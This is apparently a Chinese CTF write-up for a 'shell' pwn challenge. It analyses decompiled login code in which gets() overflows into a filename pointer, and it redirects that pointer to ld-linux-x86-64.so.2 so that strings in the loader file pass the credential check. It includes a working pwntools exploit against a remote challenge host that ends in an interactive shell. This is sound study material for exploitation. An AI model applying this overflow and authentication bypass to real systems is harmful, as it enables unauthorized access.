前言
非典型题型
相当于登录检测存在逻辑漏洞, 攻击者可以利用文件信息绕过登录
已有shell, 通过已有文件的信息绕过登录检测
分析过程
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rdx
__int64 v4; // [rsp+30h] [rbp-C0h]
const char *v5; // [rsp+38h] [rbp-B8h]
const char *s2; // [rsp+40h] [rbp-B0h]
size_t n; // [rsp+48h] [rbp-A8h] BYREF
__ssize_t v8; // [rsp+50h] [rbp-A0h]
char *lineptr; // [rsp+58h] [rbp-98h] BYREF
FILE *stream; // [rsp+60h] [rbp-90h]
char v11; // [rsp+6Fh] [rbp-81h]
int v12; // [rsp+70h] [rbp-80h]
char v13[32]; // [rsp+74h] [rbp-7Ch] BYREF
char v14[32]; // [rsp+94h] [rbp-5Ch] BYREF
char v15[36]; // [rsp+B4h] [rbp-3Ch] BYREF
char *filename; // [rsp+D8h] [rbp-18h]
const char **v17; // [rsp+E0h] [rbp-10h]
int v18; // [rsp+E8h] [rbp-8h]
int v19; // [rsp+ECh] [rbp-4h]
v19 = 0;
v18 = argc;
v17 = argv;
filename = "creds.txt";
v12 = 0;
v11 = 36;
setvbuf(_bss_start, 0LL, 2, 0LL);
while ( 1 )
{
while ( 1 )
{
printf("%c ", (unsigned int)v11);
gets(v15);
if ( !strcmp(v15, "login") )
break;
v4 = command_get(v15);
if ( v4 )
{
if ( *(_DWORD *)(v4 + 16) != 1 || v12 == 1 )
(*(void (__fastcall **)(char *, const char *, __int64))(v4 + 8))(v15, "login", v3);
else
puts("Permission denied");
}
else
{
puts("Command not found");
}
}
printf("Username: ");
gets(v13);
printf("Password: ");
gets(v14);
stream = fopen(filename, "r");
for ( lineptr = 0LL; ; lineptr = 0LL )
{
n = 0LL;
v8 = getline(&lineptr, &n, stream);
if ( v8 < 0 )
{
free(lineptr);
goto LABEL_12;
}
lineptr[v8 - 1] = 0;
s2 = strtok(lineptr, ":");
v5 = strtok(0LL, ":");
if ( s2 )
{
if ( v5 && !strcmp(v13, s2) && !strcmp(v14, v5) )
break;
}
free(lineptr);
}
puts("Authenticated!");
v11 = 35;
v12 = 1;
LABEL_12:
if ( v12 != 1 )
puts("Authentication failed!");
fclose(stream);
}
}
发现读取username和password存在栈溢出, 不过主程序是死循环, 退出不了, 所以想靠溢出劫持执行流行不通, 而且还有canary, 所以换一个思路, 发现可以溢出修改filename指针, 如果修改文件指针到ld-linux-x86-64.so.2
, 那么可以把用户登陆检测的信息替换为已有的文件中的信息
这里的用户登陆检测存在逻辑漏洞, 因为只需要读取文件中":"前后的数据作为username和password, 所以改为ld-linux-x86-64.so.2
后, 就可以用这个文件中的字符串作为用户信息登陆
漏洞利用
写一个提取包含":"的行信息的脚本
import os
f = open("./ld-linux-x86-64.so.2", "r", encoding = "ISO-8859-1")
lines = f.readlines()
for line in lines:
if ":" in line:
print(line)
有了"用户信息"就可以完成利用
from pwn import *
url, port = "111.200.241.244", 49274
filename = "./shell"
elf = ELF(filename)
# libc = ELF("")
context(arch="amd64", os="linux")
# context(arch="i386", os="linux")
debug = 0
if debug:
context.log_level="debug"
io = process(filename)
# context.terminal = ['tmux', 'splitw', '-h']
# gdb.attach(io)
else:
io = remote(url, port)
io.sendline("login")
io.sendlineafter("Username: ", "zzzz")
payload = cyclic(0x44) + p64(0x0000000000400200)
io.sendlineafter("Password: ", payload)
io.sendlineafter('Authentication failed!','login')
io.sendlineafter('Username: ','relocation processing')
io.sendlineafter('Password: ',' %s%s')
io.sendlineafter('Authenticated!','sh')
io.interactive()
总结
审计代码时可以考虑逻辑有无问题